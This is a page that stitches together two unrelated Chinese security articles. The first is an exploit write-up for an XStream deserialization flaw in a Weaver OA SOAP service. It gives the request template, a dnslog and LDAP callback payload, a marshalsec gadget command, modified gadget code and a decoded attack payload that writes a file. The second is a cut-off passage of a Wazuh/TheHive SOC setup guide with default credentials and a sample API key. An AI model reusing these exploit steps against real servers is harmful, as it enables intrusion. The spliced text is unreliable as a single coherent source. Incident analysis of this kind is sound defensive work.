译文仅供参考，具体内容表达以及含义原文为准。
作者：清水川崎@滴滴出行SSTG Basic Security Team
## 0x01 写在前面
朋友在2021年HVV中作为防守方抓到了一段流量，刚开始没有太过于在意，随后在t00ls论坛中也发现了这段流量，随即觉得事情并不简单。
## 0x02 触发点
根据流量可以得知路由为`/services%20/WorkflowServiceXml`，我随即查看了该OA的web.xml。
发现了相关类为`weaver.workflow.webservices.WorkflowServiceXml`、`weaver.workflow.webservices.WorkflowServiceImplXml`。
关于类的东西先放到一旁，毕竟路由是否真实存在、`%20`有什么意义才是重点。我开始验证路由的存在。这里我测试了两个版本。
好家伙，我直接好家伙，不是阻断我，就是给我玩消失。
那我带上`%20`试试？
原来404和阻断都是骗人的啊！
## 0x03 漏洞的sink
根据这个response可以看出这应该是一个soap
xml注入，具体是XMLDecoder、XStream或者其他什么，还得看`weaver.workflow.webservices.WorkflowServiceXml`、`weaver.workflow.webservices.WorkflowServiceImplXml`.
首先，先看看`weaver.workflow.webservices.WorkflowServiceXml`
可以注意到这是一个接口类，其中一个方法`doCreateWorkflowRequest`比较可疑。
去`weaver.workflow.webservices.WorkflowServiceImplXml`看看这个方法的实现。
继续跟踪看看
这个xs咋看起来这么眼熟？看看xs是个啥，一般Java可能会定义在代码文件最上方。
原来xs是`XStream`的对象，简直是妙蛙种子逛米奇妙妙屋——妙到家了。
## 0x04 配合SOAP生成Payload
既然决定了sink点，下一步肯定是POC的撰写了，先确定SOAP基本模板。
根据朋友给的流量可以确定基本SOAP消息体模板大致是这样的。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest>
<web:string></web:string>
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>
验证一下我的想法
验证成功。
接下来就是寻找gadget了。
由于并没有完整源码，只有部分github源码，不能确定gadget，先使用URLDNS试试。
<map>
<entry>
<url>http://1xsz12.dnslog.cn</url>
<string>http://1xsz12.dnslog.cn</string>
</entry>
</map>
组合我们的模板试试。
这里涉及到实体编码问题，作为懒人直接选择整体编码算了。
随后dnslog成功收到请求。
试试其他的gadget？比如CommonsBeanutils的jndi注入？
`java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream
CommonsBeanutils ldap://h73xu6.dnslog.cn/a > cbu.xml`
最后反弹成功。
## 0x05 marshalsec和ysoserial的联姻
大部分人都把`marshalsec`当做一个快速JNDI服务器的工具，其实它也有其他功能，比如生成XStream的payload就很好。
问题在于marshalsec内置的gadget全都需要出网，这一点儿也不符合我这个完美主义者的实战需求，需要出网的payload那是实验室黑客才需要的。那么既然ysoserial内置了不需要出网的gadget，可以结合起来吗？当然可以！
新建一个idea项目，将marshalsec和ysoserial都引入classpath作为依赖。然后重写`marshalsec.XStream`，一个字也不要改。
继续重写`marshalsec.gadgets.CommonsBeanutils`的`makeCommonsBeanutilsJNDI`方法。
这里以URLDNS作为举例
package marshalsec.gadgets;
import java.util.Collections;
import marshalsec.UtilFactory;
import marshalsec.util.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.URLDNS;
public interface CommonsBeanutils extends Gadget {
@Primary
@Args(
minArgs = 1,
args = {"jndiUrl"},
defaultArgs = {"{exploit.jndiUrl:ldap://localhost:1389/obj}"}
)
default Object makeCommonsBeanutilsJNDI(UtilFactory uf, String... args) throws Exception {
URLDNS urldns = new URLDNS();
Object object = urldns.getObject(args[0]);
return object;
}
}
这下想要用ysoserial的什么gadget，只需要新建一个基于该gadget的对象，使用其getObject方法即可。
比如我已经实现了延时注入，可以判断不出网的机器是否存在漏洞，由于每次发包只是让线程阻塞10s，且根据response时间即可判断，对服务器并无实际伤害，可以算是完美的无损poc。
具体实战，需要什么功能？比如写webshell、内存shell、回显等，请读者自行实现，这里我只提供思路。
## 0x06 流量的解密
书归正传，朋友抓到的流量到底对服务器干了啥？我们来看看。
可以判断使用了CommonsBeanutils和CC3的gadget。
这段流量以`yv66vgAAAD`开头可以判断是base64的序列化payload，尝试对流量整理，得到下面的流量。
yv66vgAAADIANgoACgAkBwAlCAAmCgACACcIACgKACkAKgoAAgArBwAsBwAtBwAuAQAGPGlujXI7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcALAEAClNvdXJjZUZpbGUBABBMb2dpbkZpbHRlci5qYXZhDAALAAwBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0BAB9EOlxXRUFWRVJcZWNvbG9neVxjc3NcbG9naW4uY3NzDAALADABAAVsb2dpbgcAMQwAMgAzDAA0ADUBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARUmVzaW4vTG9naW5GaWx0ZXIBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAQamF2YS9sYW5nL1N0cmluZwEACGdldEJ5dGVzAQAEKClbQgEABXdyaXRlAQAFKFtCKVYAIQAJAAoAAAAAAAQAAQALAAwAAQANAAAALwABAAEAAAAFKrcAAbEAAAACAA4AAAAGAAEAAAAMAA8AAAAMAAEAAAAFABAAEQAAAAEAEgATAAIADQAAAD8AAAADAAAAAbEAAAAC
对其进行解码
不难看出写了个文件`D:\WEAVER\ecology\css\login.css`，内容应该是`login12345`
## 0x07 后记
这次流量的应急响应又加深了我对XStream以及某OA的印象，不可多得的一次机会。
## 0x08 招聘内推计划
滴滴出行SSTG需要你！欢迎志同道合的同学加入滴滴出行SSTG，请各大微信群联系 @清水川崎 或者 关注 @滴滴安全应急响应中心 公众号，请注明来源。 | 社区文章 |
**< 接上文>**
* * *
## 0x05 WAZUH整合
现在，我们已经完成了SIEM的部分。是时候将我们的解决方案从一个简单的观察者转变为一个积极的响应者了。我们所使用到的一个很重要的工具就是Wazuh。在本章节中，我们希望能让您了解这个工具的优势，以及如何部署和使用。本章节分为以下几个部分：
### 5.1 Wazuh服务端和agent的安装
Wazuh是一个免费的、开源的、企业级的安全监控解决方案，用于威胁检测、完整性监控、事件响应及合规性。
你需要知道的一些定义：
**Wazuh服务端：** 运行Wazuh manager、API和Filebeat。它从部署的agent收集和分析数据。
**Wazuh agent：** 在被监控的主机上运行，收集系统日志和配置数据、检测入侵和异常情况。它与Wazuh
server进行对话，并将收集到的数据转发到该server进行进一步分析。
#### 5.1.1 Wazuh server架构简介
Wazuh架构基于运行在被监控主机上的agent，这些被监控主机上的日志将会转发到中心server。同时，还支持无代理设备（如防火墙、交换机、路由器、接入点等），可以通过syslog或定期探查其配置变化主动提交日志数据，随后将数据转发给中心server。中心server对接收到的信息进行解码和分析，并将结果传递给Elasticsearch集群进行索引和存储。
我们将使用单主机架构(HIDS)，如下图所示:
有关其他架构的更多详细信息，可以查看官方文档：
<https://documentation.wazuh.com/3.8/getting-started/architecture.html>
#### 5.1.2 Wazuh manager 、API和Filebeat安装
如下链接是wazuh安装介绍的官方文档：
<https://documentation.wazuh.com/3.12/installation-guide/installing-wazuh-manager/linux/ubuntu/wazuh_server_packages_ubuntu.html#wazuh-server-packages-ubuntu>
安装后，必须要配置filebeat的配置文件：可以将filebeat连接到elasticsearch output 或logstash output
。在我们的例子中，我们将配置没有ssl验证的elasticsearch output（下图可以看到，只有告警模块被启用了）。
cd /etc/filebeat
nano filebeat.yml
现在将设置索引模板并启动3个服务：
filebeat setup — index-management
service filebeat start
service wazuh-manager start
service wazuh-api start
#### 5.1.3 **wazuh-agent** 安装
安装参考链接如下：
<https://documentation.wazuh.com/3.12/installation-guide/installing-wazuh-agent/linux/ubuntu12.04-or-greater/wazuh_agent_package_ubuntu12.04_or_greater.html#wazuh-agent-package-ubuntu12-04-or-greater>
检查wazuh-agent是否正常运行：
#### 5.1.4 安装wazuh app并与Kibana整合
这个app将成为Wazuh
server和我们之前安装ELK的Kibana之间的桥梁。这个app只在github仓库中提供，不在官网上提供。我们将安装的wazuh app是与ELK
Stack 7.6.1兼容的（这点很重要）。
cd /usr/share/kibana
sudo -u kibana bin/kibana-plugin install https://packages.wazuh.com/wazuhapp/wazuhapp-3.12.2_7.6.1.zip
建议增加Kibana的heap大小，以保证插件的安装效果：
cat >> /etc/default/kibana << EOF
NODE_OPTIONS=” — max_old_space_size=2048"
EOF
重启Kibana:
systemctl restart kibana
可以在这个网站上查看所有可用的app版本:
<https://github.com/wazuh/wazuh-kibana-app>
现在在kibana中，你应该看到在kibana的左边标签中出现了wazuh的符号。点击它，wazuh的api将会打开。花一些时间去探索它，你应该得到类似下图的内容。但是现在不会有任何agent连接到它。接下来的内容我们将讨论如何连接agent。
#### 5.1.5 连接和配置agents
注册agent的方式有很多。在本文中，我们将使用手动方式。
在Wazuh manager的主机命令行中，我们将运行manage_agents来添加agent。在本例中，我们将添加一个新的agent。利用命令如下：
/var/ossec/bin/manage_agents
选择添加agent，输入A并回车。然后我们输入我们要给我们的机器取的名字，在本例中是user1。
我们键入终端设备的IP（注意，如果你没有终端设备的静态IP地址，你可以用关键字（any）代替IP地址）。
完成后，回车。现在我们要提取秘钥，使我们的agent能够连接到wazuh
server。选择E选项并提取一个agent的密钥,然后我们输入agent的id，本例中我选择了id为001的agent。
在Wazuh
manager的主机中添加了agent后，以root用户身份在agent主机中打开一个会话。之后，让我们导入密钥并将agent连接到manager。命令如下：
/var/ossec/bin/manage_agents -i “Your_Secret_key”
输入y，回车，应该能得到一个结果：
还有一个步骤，编辑`/var/ossec/etc/ossec.conf`中的Wazuh agent配置，添加Wazuh
server的IP地址。在<client><server>部分，将manager_IP值改为Wazuh server地址。Wazuh
server的地址可以是IP地址或DNS名称。</server></client>
#### 5.1.6 检查接收到的数据
要检查ELK是否从wazuh server接收数据。进入索引管理（Index Management）。应该得到类似下图的内容（wazuh-alerts和wazuh-monitoring）：
### 5.2 Wazuh主动响应
Wazuh提供了一个主动响应模块来处理在Wazuh-manager上配置的特定警报的自动响应。主动响应是一个脚本，被配置为在特定告警、告警级别或规则组被命中时执行。主动响应是指有状态响应或无状态响应。有状态响应被配置为在指定时间后可撤消，而无状态响应则被配置为一次性动作。
例如，如果我们想根据终端设备传过来的某些日志（显示RDP/SSH正在被暴力破解攻击），去阻断某些ip。我们可以创建一个主动响应，当攻击者的行为与存储在Wazuh上的规则集相匹配时，它就会阻止攻击者的IP。
我们将以SSH的暴力破解为例：我们将把8次登录失败视为一次攻击的尝试。当这个事件发生时，规则 "`5712 — SSHD brute force
trying to get access to the system`"将被触发。因此，阻断IP的命令就会被执行。
首先，我们需要定义我们将用于响应的命令。
OSSEC自带了一套用于主动响应的常用脚本。这些脚本在机器的/var/ossec/active-response/bin/目录下。我们将使用`firewall-drop.sh`脚本（该脚本应该可以在常见的Linux/Unix操作系统中使用），它允许使用本地防火墙阻止恶意IP。
在OSSEC Manager的ossec.conf中定义命令：
nano /var/ossec/etc/ossec.conf
接下来，在同一个文件中，我们配置OSSEC来运行主动响应。主要的字段有:
**-command:** 之前定义的命令 (firewall-drop)；
**-location** : 命令的执行位置-我们希望在agent上执行，上报事件。因此，我们使用`local`；
**-rules_id** : 如果规则5712被触发，命令就会被执行；
**-timeout** : 在防火墙（iptables，ipfilter等）上封禁IP 60秒。
随后保存修改并关闭文件。用如下命令重启wazuh-manager：
Service wazuh-manager restart
在wazuh-agents主机上，别忘了修改ossec.conf配置文件并添加：
<active-response>
<disabled>no</disabled>
</active-response>
现在，你可以尝试在安装了Wazuh agent 的主机上进行SSH暴力破解测试，在8次登录失败后，你的ip将被封禁60秒。
关于Wazuh主动响应的更多细节，可以查看如下链接：
<https://documentation.wazuh.com/3.7/user-manual/capabilities/active-response/how-it-works.html>
## 0x06 告警
本章节将涵盖我们SOCaaS解决方案中的告警部分。众所周知，告警在通知安全响应团队上发挥着很重要的作用。因此，他们可以根据企业和团队的决策，中断'cyber
kill chain'(网络杀伤链)或监控该攻击进一步动作。你可能好奇，为什么需要覆盖这么多告警，Open
Distro的告警模块还不够吗？确实，这是因为Open
Distro在输出数量上，以及与其他解决方案（如Thehive）的可集成性方面都较为欠缺。因此，我们将介绍其他替代方案。
### 6.1 ElastAlert、ElastAlert-Server和Praeco的安装配置
#### 6.1.1 介绍
**(1) 定义**
**Praeco：** 可以跟有通知选项的工具进行告警配置，包括 Slack, e-mail, Telegram, Jira等。
Praeco中的告警可以通过使用查询生成器选择要告警的字段及其相关操作符来组装，也可以使用Kibana查询语言（KQL）手动组装。
**ElastAlert：** 是一个用于对 Elasticsearch
中数据的异常、峰值或其他感兴趣的内容进行告警的简单框架。它的工作原理是将Elasticsearch与规则类型和告警这两类组件相结合。Elasticsearch被定期查询，数据被传递给不同的规则类型，规则类型决定何时发现匹配。当匹配发生时，会被赋予一个或多个告警，告警会根据匹配情况采取行动。
这是由一组规则进行配置的，每个规则定义了一个查询、一个规则类型和一组告警。
**Sigma规则：**
Sigma是一种通用和开放的签名格式，它允许你以一种直接的方式描述相关日志事件。该规则格式非常灵活，易于编写，适用于任何类型的日志文件。这个项目的主要目的是提供一种结构化的格式，研究人员或分析人员可以用这种格式来描述他们曾经开发的检测方法，并使之可以与他人共享。
**(2) 项目cloning**
cd /etc
git clone https://github.com/Yelp/elastalert.git
git clone https://github.com/ServerCentral/elastalert-server.git
git clone https://github.com/ServerCentral/praeco.git
更多信息查看如下链接：
<https://github.com/ServerCentral/praeco>
#### 6.1.2 Elastalert配置
cd /etc/elastalert
mkdir rules rule_templates
cp config.yaml.example config.yaml
nano config.yaml
elastalert 配置文件`config.yaml`的配置如下：
es_host: localhost
writeback_index: elastalert_status
# 将rules_folder配置为rules
rules_folder: rules
**注意：如果你运行的是python 2.7版本，必须改成3.6版本。**
**(1) Ubuntu上安装python 3.6:**
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt update
sudo apt install python3.6
**(2) 更新python配置：**
sudo update-alternatives — install /usr/bin/python python /usr/bin/python2.7
sudo update-alternatives — install /usr/bin/python python /usr/bin/python3.6
**(3) 更改python默认版本：**
update-alternatives — config python
选择python 3.6，如下图所示：
现在默认版本应该是python 3.6了。
**(4) 安装pip3：**
sudo apt install python3-pip
**(5) 还要安装PyYAML(本例是5.1版本)：**
pip install PyYAML==5.1
**(6) 安装Requirement和elastalert：**
cd /etc/elastalert
pip3 install “setuptools>=11.3”
python setup.py install
**(7) 创建索引：**
cd /usr/local/bin/
./elastalert-create-index
安装时，命令终端中的几个选项：
ES Host : localhost
ES Port : 9200
Use ssl : t
Verify ssl :f
我们将使用默认的ES用户名和密码 : admin/admin，其他问题直接默认：
#### 6.1.3 API server配置
`/etc/elastalert-server/config/config.json`中使用如下配置去配置API server：
* elastalertPath(配置成你的elastalert目录的绝对路径)：`/etc/elastalert`
* es_host(你的elasticsearch实例地址)：`elasticsearch`
* writeback_index(与config.yaml中一样)：`elastalert_status`
**(1) Alert Logs的相关问题排除（没有数据）：**
该问题的原因是：日志告警回写索引的元数据处理程序正在搜索带有_type的elastalert文件。自 7.x 以来，不会返回任何结果，因为所有文件都有一个
_doc的 _type。
因此，在您的Alert Logs中（后期在Praeco界面），看不到任何数据。
所以必须执行如下命令：
cd /etc/elastalert-server/src/handlers/metadata/
nano get.js
删除包含`type: 'elastalert'`的行。现在应该能够在praeco界面上看到告警日志。
**(2) Elastalert-Server安装：**
sudo npm install
sudo npm run start
如果成功启动，应该看到下图的这一行（有个warning警告是因为不安全的连接`SSL_verify = False`产生的）。
#### 6.1.4 Praeco配置
**(1) 更改配置文件：**
cd /etc/praeco/config
nano api.config.json
nano elastalert.yml
**(2) 安装Praeco:**
sudo npm install
`export PRAECO_ELASTICSEARCH=localhost`
**(3) 复制BaseRule.cfg:**
在开始服务之前，需要执行如下命令：
cp /etc/praeco/rules/BaseRule.config /etc/elastalert/rules/
此文件包含Slack、SMTP和Telegram的设置，这里我们将添加0x03章节中使用的Slack Webhook URL。
cd /etc/elastalert/rules/
nano BaseRule.config
添加Webhook URL：
**(4) 启动Praeco:**
npm run serve
现在，您应该在 <http://yourServerIP:8080> 上看到正在运行的页面，这是你的Praeco界面。
### 6.2 规则创建
#### 6.2.1 使用Praeco界面创建规则，并将其发送到slack webhook
Navigate to Rules -> Add Rule:
现在，可以看到创建规则非常类似于Open Distro告警工具，我们将过滤告警并指定目的地。
点击 "UNFILTERED"，手动或使用预建工具指定过滤器。然后单击 "Close"。
我们将使用Slack进行通知，使用与0x03章节中使用的Webhook URL，以及相同的频道( #test)。
点击'Save'。你的告警默认启用。
我们可以检查告警是否成功发送到Slack。
在我们的slack频道中：
#### 6.2.2 从ElastAlert向TheHive发送告警
不过遗憾的是，Praeco无法直接将告警输出到 TheHive，所以我们得手动编辑我们的规则，并使用elastalert-server发送。有了这个变通方法（使用Elastalert-server），规则将在后台正常工作，也将出现在Praeco界面上。但是，我们将无法使用Praeco界面编辑或配置它们。
**(1) 创建一个规则：“User_creation”：**
首先，我们将像之前一样从Praceo界面创建我们的规则，在HTTP输出中我们先指定 **any URL** ，之后会删除。
完成后点击Save。
**(2) 发送告警到Thehive:**
添加TheHive配置，保存并重启Elastalert-Server，进入/etc/elastalert/rules目录:
nano User_creation.yml
**(3) 在Praeco中检查告警：**
告警已经成功发送到TheHive。但是遗憾的是，正如我们之前所提到的，Praeco界面无法编辑该规则，必须在/etc/elastalert/rules中手动编辑。
**(4) 在TheHive界面中检查告警：**
### 6.3 获得Sigma工具的帮助，以创建规则
如前文所述，Sigma工具帮助我们将sigma规则转换成多种格式，包括Elastalert。
项目URL与详细步骤见如下链接：<https://github.com/Neo23x0/sigma.git>
**(1) 下载Sigma**
cd ~
git clone https://github.com/Neo23x0/sigma.git
**(2) 使用Sigma创建告警**
cd ~/sigma/tools
pip3 install -r requirements.txt
执行命令如下（用示例规则举例）：
./sigmac -t elastalert -c winlogbeat
../rules/windows/builtin/win_user_creation.yml
遗憾的是，由于缺少几个字段，此规则不能被 ( Praeco/Elastalert-Server )
直接使用。因此，您可以从该规则（查询字符串）中选择关键字，并使用这些关键字信息在 Praeco
界面创建自己的规则。这个工具非常重要，因为它可以帮助我们收集大量规则及其查询字符的关键字。
注意：有时必须在（Kibana →
Discover页面）中检查日志及其字段，以确保日志中的名称字段与Sigma规则中的名称字段相匹配。如果你的字段显示黄色错误，进入索引模式，选择匹配的索引，然后点击刷新字段。
### 6.4 发送Wazuh的告警到TheHive
我们将使用前文提到的相同方法来处理wazuh告警，首先我们使用praeco界面创建wazuh-alerts，然后我们手动编辑规则文件来添加theHive
输出。
**(1) 创建一个wazuh规则并保存：**
我们已经使用rule.id来过滤规则（可以选择任何其他字段），可以在wazuh → Overview → Security events下获取规则id。
**(2) 编辑规则然后重启elastalert-server：**
nano /etc/elastalert/wazuh-alert-TEST.yaml
**(3) 检查告警：**
## 0x07 报告
为了减轻企业网络威胁和攻击，应时常在系统上执行漏洞测试并修复安全问题。因此，您可以想象，“报告”工作在任何SOC中都非常重要，因为可以概述系统中可能存在的漏洞。
在本节中，我们将提供有关我们在“报告”工作和漏洞扫描中使用的工具及相关见解。本节包括以下几个部分：
* 相关介绍
* 安装Nessus essentials版本
* VulnWhisperer的安装
### 7.1 介绍
我们将使用到的工具：
* **VulnWhisperer** ：VulnWhisperer是一个漏洞管理工具和报告聚合工具。将从不同漏洞扫描工具中提取报告，并为每个文件创建一个唯一文件名。
项目地址：<https://github.com/HASecuritySolutions/VulnWhisperer>
* **Nessus essentials** ：Nessus Essentials(以前称作Nessus家庭版)，是Nessus主机漏洞扫描的一个免费版本。
### 7.2 安装Nessus essentials
#### 7.2.1 下载
从官网（www.tenable.com）下载，在我们的项目中，使用下图标记的这个版本：
#### 7.2.2 Nessus安装
dpkg -i Nessus-8.10.0-ubuntu910_amd64.deb
/etc/init.d/nessusd start
service nessusd start
浏览器访问<https://YourServerIp:8834，选择“**Nessus> Essentials**”：
#### 7.2.3 激活Nessus
复制邮箱中的activation code(激活码)，创建一个账户，随后等待Nessus准备完成。
7.2.4 运行第一次扫描
点击New Scan → 选择Basic Network Scan，
选择你要扫描的目标，保存随后运行。
### 7.3 安装VulnWhisperer
#### 7.3.1 使用Python2.7
VulnWhisperer基于Python2.7，所以我们需要更改系统的Python默认版本。
#### 7.3.2 配置VulnWhisperer
cd /etc/
git clone https://github.com/HASecuritySolutions/VulnWhisperer
cd VulnWhisperer/
sudo apt-get install zlib1g-dev libxml2-dev libxslt1-dev
pip install -r requirements.txt
python setup.py install
nano configs/ frameworks_example.ini
配置文件中选择你想启用的模块（在我们的项目中就仅启用了Nessus），虽有填写你的Nessus账户凭据：
#### 7.3.3 检查Nessus是否联通及报告下载
vuln_whisperer -F -c configs/frameworks_example.ini -s nessus
# 报告将以csv拓展名格式保存，在如下目录中检查报告：
/opt/VulnWhisperer/data/nessus/My\ Scans/
如果不是新报告，命令运行后显示内容如下图所示：
#### 7.3.4 配置Vulnwhisperer定时任务
为了使Vulnwhisperer检查Nessus数据库并定期下载报告，我们将添加一个定时任务。因此，我们就不用再手动执行命令了，将最新的报告直接自动添加到Kibana。
crontab -e
添加以下内容：
SHELL=/bin/bash
* * * * * /usr/local/bin/vuln_whisperer -c /etc/VulnWhisperer/configs/frameworks_example.ini >/dev/null 2>&1
#### 7.3.5 导入Elasticsearch模板
到kibana Dev Tools，随后点击add template：
模板文件下载链接：
>
> <https://github.com/HASecuritySolutions/VulnWhisperer/blob/master/resources/elk6/logstash-> vulnwhisperer-template_elk7.json>
完成后，现在Index Templates中应该已经有了一个模板。
#### 7.3.6 导入Kibana可视化文件
点击 Kibana → Management → saved object →
Import，导入kibana.json配置文件：在`VulnWhisperer/resources/elk6/kibana.json`下，文件下载链接如下：
>
> <https://github.com/HASecuritySolutions/VulnWhisperer/blob/master/resources/elk6/kibana.json>
现在在Dashboards，应该可以看到如下两项：
#### 7.3.7 添加Nessus Logstash配置文件
将Nessus Logstash文件复制到`/etc/logstash/conf.d/`中：
cd /etc/VulnWhisperer/resources/elk6/pipeline/
cp 1000_nessus_process_file.conf /etc/logstash/conf.d/
cd /etc/logstash/conf.d/
nano 1000_nessus_process_file.conf
修改output如下：
#### 7.3.8 重启服务随后检查报告
systemctl restart logstash elasticsearch
现在你应该为Vulnwhisperer创建了一个新索引：
转到Index pattern，检查你的字段编号：
**Note：刷新index pattern以识别所有字段。**
最后，到Dashboards 并查看报告。这时，可视化页面应该没有任何错误。
现在，Nessus生成的所有.csv扩展名的报告都将自动发送到你的ELK Stack。因此，就可以在kibana仪表盘下对其进行可视化了。
## 0x08 事件管理
在本节中，我们把最难题的部分放在本节中。将介绍SOC的事件管理部分：我们已经使用了2种开源技术——TheHive和Cortex。
TheHive将用作我们项目的告警管理平台，该平台可以管理从创建到关闭的告警事件。同时，Cortex是与TheHive同一个团队开发的补充产品，使用“分析器（analyzers）”和“响应器（responders）”对数据进行补充。
本节内容分为以下几个部分：
* TheHive和Cortex的安装和配置；
* TheHive和Cortex仪表盘的演示；
* 将Cortex与TheHive集成；
* 安装MISP并将其与TheHive集成;
* 排查：事件管理。
### 8.1 TheHive和Cortex的安装和配置
我们部署的版本是：TheHive 3.4.0-1和Cortex 3.0.1-1。
TheHive需要Elasticsearch才能运行。为此，我们选择使用docker-compose在Docker容器中一起启动它们。如果你不想使用Docker，也可以手动安装和配置Elasticsearch。
有关更多详细信息，参阅：
> <https://github.com/TheHive-> Project/TheHiveDocs/blob/master/installation/install-guide.md>
**None:** TheHive使用ElasticSearch来存储数据，两款软件使用的都是Java
VM。推荐使用8核的CPU、8GB内存和60GB硬盘存储的虚拟机，当然也可以直接使用相同配置的物理机进行部署。
我们使用以下 **docker-compose.yml** 文件在3个不同的容器中一起启动Elasticsearch，TheHive和Cortex：
version: "2"
services:
elasticsearch:
image: elasticsearch:6.8.0
ports:
- "0.0.0.0:9200:9200"
environment:
- http.host=0.0.0.0
- cluster.name=hive
- thread_pool.index.queue_size=100000
- thread_pool.search.queue_size=100000
- thread_pool.bulk.queue_size=100000
ulimits:
nofile:
soft: 65536
hard: 65536
cortex:
image: thehiveproject/cortex:3.0.1
depends_on:
- elasticsearch
ports:
- "0.0.0.0:9001:9001"
thehive:
image: thehiveproject/thehive:3.4.0
depends_on:
- elasticsearch
- cortex
ports:
- "0.0.0.0:9000:9000"
command: --cortex-port 9001
复制粘贴保存到`docker-composer.yml`文件中，随后执行如下命令：
sudo sysctl -w vm.max_map_count=524288
最后运行：
docker-compose up
TheHive监听9000/tcp端口，Cortex监听9001/TCP端口。这些端口可以通过修改docker-compose文件来更改。
可以使用如下命令查看创建的容器：`docker ps –a`：
检查Elasticsearch是否可联通：
现在一切都已设置好，让我们看一下TheHive仪表板。
### 8.2 TheHive和Cortex仪表盘的演示
浏览器访问<http://YOUR_IP:9000：>
**注意：** 如果要在云主机上安装，不要忘记为9000、9001和9200端口配置规则放开。
点击Update Database，并创建一个管理员用户：
使用该用户登录：
下图就是TheHive主要的Dashboard：
现在让我们检查下Cortex的Dashboard：
浏览器访问：<http://YOUR_IP:9001：>
点击Update Database，并创建一个管理员用户登录（跟前文TheHive的步骤一样）。
Cortex的工作方式是，你当前的用户可以创建组织和用户，但是必须以组账户登录才能启用
和管理Analyzers(分析器)。
通过单击页面上的”+添加组织“按钮来创建新的组织：
现在切换到”用户“标签，随后点击”+添加用户“，将新用户分配给你创建的组织，并赋予他们组织管理员的角色。保存后，为刚创建的用户点击”新密码“，然后输入密码，点击Enter保存。现在，注销并以新用户身份重新登录。点击页面顶部的”Organization(组织)“选项：
现在，点击组织中的 **Analyzers** 选项卡（不是页面顶部的Analyzers）。如果Cortex正确配置了，应该就可以看到
Analyzers(分析器)。到今天为止，我有124个可用的Analyzers：
现在让我们启用某些Analyzers以供后续使用，保留默认设置。某些Analyzers需要API密钥，因此请确保在配置这些Analyzers时提供正确的信息。
### 8.3 将Cortex与TheHive集成
点击组织中的Users选项卡，然后创建一个新用户以与TheHive集成。这个用户应该有读和分析的角色。这次不为用户设置密码，而是单子”
**创建API密钥** “并复制密钥。现在回到终端，通知所有运行的容器，在主目录中创建一个文件，并命名为`application.conf`:
cortex {
"CORTEX-SERVER-ID" {
# URL of the Cortex server
url = "http://172.18.0.3:9001"
# Key of the Cortex user, mandatory for Cortex 2
key = "nBqA7B6BYc1kHhgAXZOYoXjBnt5vlCgM"
}
}
url参数是<http://你cortex容器的ip:cortexPort(可以使用`docker> inspect <id-container>`命令检索容器ip)，key参数是刚才创建的api密钥。保存该文件，随后修改`docker-compose.yml`文件，在TheHive的配置部分，添加：</id-container>
volumes:
- /home/your_user/application.conf:/etc/thehive/application.conf
......
command:
--cortex-key (上一步使用的相同api_key )
保存文件并退出编辑器，随后再次运行`docker-compose up`。
在全部容器启动起来后，回到TheHive的dashboard，点击账户onglet下的”about“，应该可以看到与下图相同的信息：
现在，我们已成功将Cortex与TheHive集成在一起了。
### 8.4 安装MISP并将其与TheHive集成
#### 8.4.1 安装MISP
1.sudo apt-get update -y && sudo apt-get upgrade -y
2. sudo apt-get install mysql-client -y
3.curl https://raw.githubusercontent.com/MISP/MISP/2.4/INSTALL/INSTALL.sh -o misp_install.sh
4.chmod +x misp_install.sh
4. ./misp_install.sh -A
当安装过程中询问baseurl 时，输入你的IP：<https://YOUR_IP/，>
当询问创建一个“misp”用户时，输入“y”。
**PS：** 别忘记在你的机器上开启80和443端口。
安装完成后，浏览器访问<https://your_ip/，可以看到登录页面：>
使用默认用户名密码登录（admin@admin.test / admin），随后输入新密码用户更改默认密码。
**启用MISP集成** ：
浏览器访问MISP的web页面，点击管理 ->
添加用户，向用户发送电子邮件，例如：`cortex_integration@admin.test`，随后将用户添加到 **ORGNAME** 组织，角色选择
**user** ，取消选中底部的所有复选框，复制用户的AuthKey。
随后转到 **Cortex > Organization > Analyzers**，在搜索框输入“misp”，启用 **“MISP_2_0”**
，为MISP服务器指定一个描述性名称，url框输入你的MISP
IP，key输入创建MISP用户的密钥（AuthKey），cert_check选择“False”：
现在，访问MISP的web页面 > Sync Actions > List
